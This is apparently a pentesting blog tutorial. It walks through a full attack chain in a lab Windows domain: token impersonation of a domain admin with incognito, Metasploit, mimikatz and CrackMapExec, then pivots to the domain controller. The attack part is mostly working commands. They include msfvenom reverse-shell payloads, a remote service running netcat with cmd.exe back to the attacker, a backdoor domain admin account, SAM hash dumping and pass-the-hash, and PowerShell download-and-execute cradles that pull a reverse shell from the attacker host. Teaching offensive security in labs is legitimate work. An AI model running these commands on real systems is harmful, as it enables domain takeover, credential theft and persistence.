In this post we will review how to perform a token impersonation attack using access tokens that were left laying around on a Windows 10 host after a domain admin had logged in to the machine. After impersonating the domain admins access token, we will use this token to pivot from the Windows 10 host onto the DC.
We will start with an example scenario where we have gotten a foothold on a Windows 10 machine and escalated our privileges to local SYSTEM. Once in a privileged shell, we will review four different techniques to enumerate as well as impersonate access tokens on a victim Windows 10 host. The token we will choose to impersonate belongs to a user who is part of the domain admins group. From there, we will see various ways to get a shell as the domain admin user, which we will utilize to setup our pivot and get a shell on the DC.
For each of the four techniques that we will use to impersonate the domain admin, I will also show you a different technique that can be used to pivot onto the DC!
To begin, let’s quickly review what access tokens are and why we are able to abuse them
What are Access Tokens?
Access tokens are generated when a user authenticates to a Windows system. After credentials are supplied to login to the system, they get verified by the Local Security Authority Subsystem Service (LSASS). If the user account is local, the LSASS will check the user’s credentials in the local Security Account Manager (SAM). However, if the account is part of a domain, the verification request will be sent to the domain controller (DC).
If the verification is successful, the user will be issued an access token that identifies who they are and the privileges associated with their account. An access token stores a lot of information about the account including the credentials, similar to how cookies store account information for web browsers. This is due to the fact that tokens are part of the single sign-on process, which allows users to access resources across the domain without having to provide a password each time they access a file.
An important thing to keep in mind is that Windows systems store access tokens until the machine is restarted. Although our example will be on a Windows 10 machine, this attack would be more commonly done on a server as they do NOT get restarted often.
Types of Access Tokens
There are two types of tokens that can be utilized for token impersonation attacks: Delegation and Impersonation
Delegation tokens are created when a user interactively logs into a system using their credentials. The interactive login (login type 2 or type 10) can be done physically or remotely using a service such as Remote Desktop (RDP). These are the most common tokens that we will find / impersonate.
Impersonation tokens are created when users perform non-interactive logins on a system; for example, when accessing a shared drive on the network. These tokens are generally created after delegation tokens as the delegation token is what’s being used to provide access to the shared drive in the first place.
Now that we understand what tokens are from a high level, let’s see how we can enumerate and impersonate a domain admin’s token that was left on a Windows 10 host.
Example Scenario – Getting a Shell on a Windows 10 Host and Elevating to SYSTEM
In this example, we will just quickly run through some of the steps taken to enumerate, get a foothold, and elevate to SYSTEM on the Windows 10 machine.
- First, an nmap scan was ran against the DC and the Windows 10 host using the following command:
nmap -A -sV -sC -T4 172.16.1.5 172.16.1.100 -p-
A few key things to note from the nmap scan against the DC is that the hostname of the DC is Juggernaut-DC in the Juggernaut.local domain. Additionally this scan found that the following interesting services are running: SMB (445), RDP (3389), and WinRM (5985).
The services mentioned above are important to note as we will utilize them in our pivot examples.
On the Windows 10 machine, we find the hostname is JUGG-efrost, which has similar services running as the DC; however, we also find a web server running on port 80.
- Next, a file upload vulnerability was discovered on the webserver that allowed an ASPX reverse shell script to be uploaded and then executed, resulting in a shell as the user efrost.
- Once a foothold was established on the Windows 10 host, some manual enumeration was performed against the local host. However, since this is a domain user and we ultimately want to compromise the DC, the domain was also enumerated, which revealed who the domain admin accounts are.
- Additionally, we found that the user nessex has a home profile on this machine, which means the account has been used to log into this machine before.
- Further enumeration revealed that an unquoted service path vulnerability was present on the system, which was then exploited, resulting in a reverse shell as the local SYSTEM account.
To see how to exploit an unquoted service path vulnerability to elevate from standard user to SYSTEM, check out my post on the topic here.
Now that we SYSTEM privileges on the Windows 10 host, we want to hunt for a way to escalate our domain privileges. Our goal here is to gain access to a domain admin account, and what better way to gain access as a domain admin than impersonating them using a token they left lying around on the Windows 10 host?
Impersonating the Domain Admin with incognito.exe
Since we have a local SYSTEM shell, we can search for any tokens laying around from users logging into the machine. During our initial enumeration we saw that a domain admin ‘nessex‘ had a user profile on this machine, which indicates they have logged into this machine before. If we get lucky, the token will still be on the system.
To search for tokens left on the system, we will use a tool called incognito.exe. A precompiled binary of incognito.exe can be downloaded from here.
In this post there will be a lot of files being transferred onto the victim. To learn multiple ways to transfer files to and from a victim Windows host, check out this post here.
After transferring incognito.exe onto the victim, we can use the following command to list all of the available tokens:
.\incognito.exe list_tokens -u
We are most interested in the delegation tokens, and we see that there is a token for the domain admin user nessex available!
In order to use this token, we need to craft an exploit to execute with incognito.exe to produce a reverse shell as nessex. To craft our exploit we will use msfvenom on our attacker machine, like so:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o shell.exe
Transfer shell.exe to the victim and then start a netcat listener on port 443 on your attacker machine.
With everything we need on the victim and our netcat listener running on our attacker machine, we can use the following command to get a reverse shell as the user nessex:
.\incognito.exe execute -c "JUGGERNAUT\nessex" .\shell.exe
The prompt hangs and when we check back on our listener, we got a shell as the domain admin!
Pivoting to the DC Using PsExec64.exe
Now that we have a shell as the domain admin, we can check if we have access to the DC with the following command:
dir \\Juggernaut-DC\c$
Amazing! We were able to enumerate the DC through SMB. Additionally, we now have the ability to copy files over to the DC from the Windows 10 host through SMB.
We cannot just transfer shell.exe onto the DC and execute it. This will simply execute the file on our current host from the DC, which means we will get the same shell back (Windows 10). If only pivoting was that easy 🙂
Alternatively, we can go beyond just accessing the files on the DC and pivot to a full shell. To accomplish this, we need to use a tool called PsExec64.exe, which is part of the Sysinternals Suite of Tools.
After downloading the suite of tools onto your attacker machine, locate the PsExec64.exe tool and download it onto the victim.
Now that psexec is on the victim, we need to start another netcat listener on port 443 on our attacker machine. Afterwards, we will utilize the -c switch to execute shell.exe on the DC.
Using the -c switch, psexec will copy any local program to the remote computer and attempt to execute it.
.\PsExec64.exe -accepteula \\Juggernaut-DC -c C:\temp\shell.exe
After executing the above command, the prompt hangs and back on our listener, we got a shell on the DC!
At this point we own the DC and can do whatever we please. We can load up Mimikatz and dump all the hashes, create a golden ticket, etc. The possibilities are endless!
However, let’s save that for another post and review three different ways we can perform this same attack instead!
Impersonating the Domain Admin with Incognito (Metasploit)
In addition to the manual method we just saw, we can also use Metasploit to perform this attack. But first, we need to drop into a Meterpreter shell, which we will do using the web delivery method.
On our attacker machine, we can start up Metasploit with the following command:
msfconsole -q
Once started, we can setup a web delivery payload to get a meterpreter shell. This will be easier then crafting a meterpreter payload with msfvenom and sending it to the victim. Since we already have a foothold, this method will provide a PowerShell command that we can copy and paste right in the victim shell to get a meterpreter session without downloading any files on the victim.
use exploit/multi/script/web_delivery
Four things we need to change here, PAYLOAD, LHOST, LPORT, and TARGET.
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.30
set LPORT 80
set TARGET 2
When we run show options this time, it should look like this:
Now we type exploit and it will give us an encoded PowerShell 1-liner to run on the victim to get a meterpreter session.
After pasting the command into the victim shell and executing it, we will see a meterpreter session check in.
Now that we have a SYSTEM meterpreter shell, we can use the following command to load incognito:
load incognito
After loading any module into meterpreter, we can type the help command and all of the commands available for that module will be displayed at the bottom of the output.
The two commands we are most interested in are list_tokens and impersonate_token. These commands will allow us to enumerate the tokens on the machine and then impersonate the token of our choosing.
list_tokens -u
Just like when we used the incognito.exe binary, we can see that the user nessex has a token on this machine and we can impersonate that token and then drop into a shell as the domain admin (make sure to use double back-slashes between domain\\user)
impersonate_token juggernaut\\nessex
Pivoting to the DC Using Services (sc Command)
Something that is not so commonly known is that the sc command can actually be used to create and manipulate services both locally and remotely!
The SC command is used to configure, query, stop, start, delete, and add system services on the Windows command line. If you have the appropriate permissions, the SC command can be used to manage services on both the local and remote systems.
As we saw before, we can query the DC through SMB with the following command dir \\Juggernaut-DC\c$ – However, in this example we will take it one step further and copy a binary (netcat) over to the DC.
After transferring netcat.exe onto the victim, we can use the following command to copy it over to the DC:
copy C:\temp\nc.exe \\Juggernaut-DC\C$\Windows\temp
With confirmation that the file has been transferred to the DC successfully, all we have left to do is: remotely setup a malicious service on the DC, start the malicious service, and grab a SYSTEM shell on the DC!
sc \\Juggernaut-DC create pivot binpath= "C:\Windows\temp\nc.exe 172.16.1.30 443 -e cmd.exe"
With the service setup, the next thing we need to do is start a netcat listener on our attacker machine to grab the shell.
Once our listener is setup, we can use the following command to start the malicious service:
sc \\Juggernaut-DC start pivot
The prompt hangs, which is a good sign, and back on our listener, we receive a SYSTEM shell from the DC!
Again, the DC is ours! Now, let’s see how we can impersonate a token using mimikatz.
Impersonating the Domain Admin with mimikatz.exe
Another tool that can be used to perform a token impersonation attack is Mimikatz.
A copy of mimikatz.exe can be obtained from this GitHub repo here.
After grabbing a copy of mimikatz.exe from the GitHub repo above, we need to send it to our victim.
With mimikatz now on the host, we can execute it and use the following command to provide us with full privileges:
.\mimikatz.exe
privilege::debug
We can continue now by enumerating all the tokens on the machine, like so:
token::list
This produces quite a large output; however, at the bottom we can see nessex on the list multiple times.
After confirming that a domain admin token is on the system, we can use the following command to impersonate it (note that this command will seek and impersonate any domain admin token it can find):
token::elevate /domainadmin
The domain admin token has been successfully impersonated; however, we still need to get a shell as nessex. To do this, we can utilize the shell.exe file we created in the incognito.exe example and execute it with mimikatz.
First, we need to start another netcat listener over port 443 on our attacker machine, and then we can run the following command in mimikatz to execute shell.exe:
token::run /process:"C:\temp\shell.exe"
And back on our listener, we have a shell as nessex!
Pivoting to the DC by Creating a Domain Admin Account
An easy way that we can pivot to the DC now that we have a shell as a domain admin, is to create a new domain admin user with a password that we know. Afterwards, we can use that domain admin account to either use psexec.py to get a shell on the DC, or use RDP to get GUI access to the DC.
To create a new domain user and add them to the domain admins group, we can use the following set of commands:
net user /add pwnt P@ssw0rd /domain
net group /add "Domain Admins" pwnt /domain
The first command will create domain user pwnt with a password of P@ssw0rd, and the second command will add the user pwnt to the domain admins group.
Creating our own domain admin account means we know the password, so let’s use that first to login over RDP. We can use the following command on our attacker machine to start an RDP session on the DC:
sudo xfreerdp /u:pwnt /p:'P@ssw0rd' /d:juggernaut.local /v:172.16.1.5 +clipboard
Alternatively, if you do not want to grab a GUI session, we can use psexec.py from the Impacket Suite of Tools to get a SYSTEM shell on the DC.
psexec.py pwnt:'P@ssw0rd'@172.16.1.5
Amazing! We pivoted to the DC and we also created persistence at the same time!
For the fourth and final example, we will see how we can impersonate the domain admins token remotely using a tool called CrackMapExec.
Impersonating the Domain Admin Remotely with CrackMapExec
For the final example, we will do something pretty cool. To start, we will remotely impersonate the domain admins token using a pass-the-hash attack. Next, we will drop a PowerShell script directly into memory resulting in a reverse shell as the DA. Finally, we will pivot to the DC using another LOL (living off the land) technique – PsRemoting.
In order to remotely impersonate the domain admin, we NEED to know the password of a local admin account; however, we don’t know any passwords up to this point as we got a foothold from a web-app vulnerability and escalated to SYSTEM by leveraging a service vulnerability (unquoted service path). In all of this, we never uncovered a single password.
Since we do NOT have an administrators password, we won’t be able to do this attack… but wait! Aren’t we SYSTEM already? – Because we are already the local SYSTEM account, we can dump the SAM hashes on the system to get the local admin’s hash. From there, we can simply pass the hash into crackmapexec and perform token impersonation with a pass-the-hash attack!
To understand pass-the-hash attacks in greater detail, check out my post on the topic here. Additionally, to see multiple ways to dump the SAM hashes from a Windows machine, check out this post here.
Extracting a Copy of the SAM and SYSTEM Files Using reg.exe
The easiest way for us to copy the SAM and SYSTEM files from the victim it to extract them from the registry using reg.exe.
This technique is trivial and can be accomplished with the following two commands:
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM
Now that we have extracted a copy of both files, we need to transfer the files on to our attacker machine so that we can extract the hashes.
Once the files have been transferred back to our attacker machine, we will use another tool from the Impacket Suite called secretsdump.py to extract all the hashes from the SAM file.
Extracting the Hashes with secretsdump.py
Now that we have exfiltrated a copy of the SYSTEM and SAM file onto our attacker machine, we can easily dump the hashes using secretsdump.py
To dump all of the SAM file hashes, use the following command:
secretsdump.py -sam SAM -system SYSTEM LOCAL
Perfect! We extracted the NTLM hash of the local administrator account, which is what we need to make this attack work.
Performing a Pass-the-Hash Attack to Impersonate the Domain Admin Token
Alright, now that we have the admin hash, we just need the second half of it (32-character value after the colon) – 3542d79d5d17bc9d3014d4d56b5e3060
Using CrackMapExec on our attacker machine, we can enter the following command to pass-the-hash and enumerate all tokens that have been left on the host:
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=list
The command executes successfully and we can see that we have Pwn3d! the local admin account, which means the password (hash) matches and this user has full privs on the local machine.
Note that CrackMapExec has integrated impersonate.exe and impersonate.py, which is what makes this attack possible. We can also use these two tools by themselves (standalone), which would increase our number of impersonation techniques from four to six! I implore you to check it out yourself by grabbing a copy of both tools from this GitHub repo here. I wanted to add these to the post as well but it’s already getting to be way too long!
With all of the tokens enumerated now, we can go ahead and impersonate one of them and run commands under the context of that user. To do this, we need to utilize the token ID for the account we want to impersonate, which in this case is 4. For POC, we can simply run the whoami command to confirm we have command execution as the DA.
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=exec TOKEN=4 EXEC=whoam
BOOM! We have command execution as the DA! Now, we have some options here to get a shell. We can… execute shell.exe to get a quick shell, use netcat to get a shell like we did with mimikatz, etc. Essentially, we have lots of options to get a shell.
However, for this example we are going to use a PowerShell reverse shell script from the Nishang Collection of Scripts. The script we will be using is called Invoke-PowerShellTcp.ps1.
Copy the script into your working directory and then append the following command to the bottom of the script:
Edit the IP address to the IP of your attacker machine.
Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.30 -Port 443
I generally keep multiple copies of this script in my exploits folder with the same command at the bottom but over different ports. Then I append the port number to the name of each copy.
After copying the script to your working directory and appending the command at the bottom, start an HTTP server from the same directory as the script to serve it up.
Next we will need to start a netcat listener on our attacker machine to catch the shell over port 443. Then we can run the following command to get a reverse shell as nessex:
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=exec TOKEN=4 EXEC="powershell.exe -c iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp443.ps1')"
We should see SMB errors rolling in every couple of seconds, this is the equivalent to having the prompt hang, which is usually promising. Now, when we check our listener, we should have a PowerShell prompt as the the Domain Admin.
Pivoting to the DC Using PS Remoting
Now that we have a PowerShell prompt, we are in a good position to test if we can execute commands on the DC remotely using the Invoke-Command cmdlet. From earlier in the post, we saw that the nmap scan we ran in the example scenario showed port 5985 open on both machines. This is the WinRM port and is used for “Remote Management” with PowerShell.
Since we saw 5985 open on both hosts, we can attempt to execute a command on the DC using the following command:
Invoke-Command -ComputerName Juggernaut-DC.juggernaut.local -ScriptBlock {hostname}
For POC, we ran the hostname command to see what host the command is being executed on. Here we can see the result is Juggernaut-DC, which means we have command execution on the DC!
Now we can pivot to the DC using the same technique we used to get a shell as the domain admin on the Windows 10 machine.
First, we need to start another netcat listener on port 443, then we can use the following command to get a shell on the DC as nessex:
Invoke-Command -ComputerName Juggernaut-DC.juggernaut.local -ScriptBlock {iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp443.ps1')}
The prompt hangs, and back on our listener, we got a shell on the DC!
Awesome! Just another way we can pivot to the DC!
Bonus: Pivoting Directly onto the DC from CrackMapExec
Something we could have done differently is tested the PS Remoting commands directly from CrackMap before getting a shell. That way we would have gotten a shell on the DC without having to get one on the Windows 10 host first. For example:
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=exec TOKEN=4 EXEC="powershell.exe -c Invoke-Command -ComputerName Juggernaut-DC.juggernaut.local -ScriptBlock {hostname}"
Cool! We were able to get command execution on the DC through the Windows 10 machine, and all done remotely!
Now we can get the shell just like we did on the Windows 10 machine, but with the Invoke-Command addition to pivot right to the DC.
crackmapexec smb 172.16.1.100 -u administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M impersonate -o MODULE=exec TOKEN=4 EXEC="powershell.exe -c Invoke-Command -ComputerName Juggernaut-DC.juggernaut.local -ScriptBlock {iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-PowerShellTcp443.ps1')}"
We get the errors coming in, just like the first time we dropped into a shell from CrackMapExec, except this time, we got our shell on the DC!